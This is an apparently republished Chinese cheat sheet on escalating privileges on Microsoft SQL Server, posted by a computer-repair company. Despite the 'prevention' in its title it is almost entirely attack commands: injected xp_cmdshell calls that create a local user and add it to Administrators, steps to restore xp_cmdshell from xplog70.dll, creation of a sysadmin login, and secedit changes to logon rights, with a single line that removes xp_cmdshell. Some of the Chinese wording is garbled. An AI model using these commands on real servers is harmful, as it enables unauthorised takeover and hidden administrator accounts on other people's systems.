设为主页 | 加入收藏 | 繁體中文

SQL Server提升权限相关命令及防范

  ;exec master..xp_cmdshell "net user name password /add"--
  ;exec master..xp_cmdshell "net localgroup administrators name /add"--
  步伐代码开启cmdshell的SQL语句
  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
  判断存储扩展是否存在
  select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
  返回结果为1就OK
  规复xp_cmdshell
  Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
  返回结果为1就OK
  否则上传xplog7.0.dll
  Exec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'
  堵上cmdshell的SQL语句
  sp_dropextendedproc "xp_cmdshell"
  DOS:
  dir c:/
  dir d:/
  dir e:/
  net user TsInternetUsers Password /add
  net localGroup Administrators TsInternetUsers /add
  备份规复IPSEC
  secedit /export /CFG c:/tmp.inf
  echo sedenynetworklogonright =>>c:/tmp.inf
  secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
  SQL:
  exec master..sp_addlogin UserName,Password
  exec master..sp_addsrvrolemember UserName,sysadmin
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: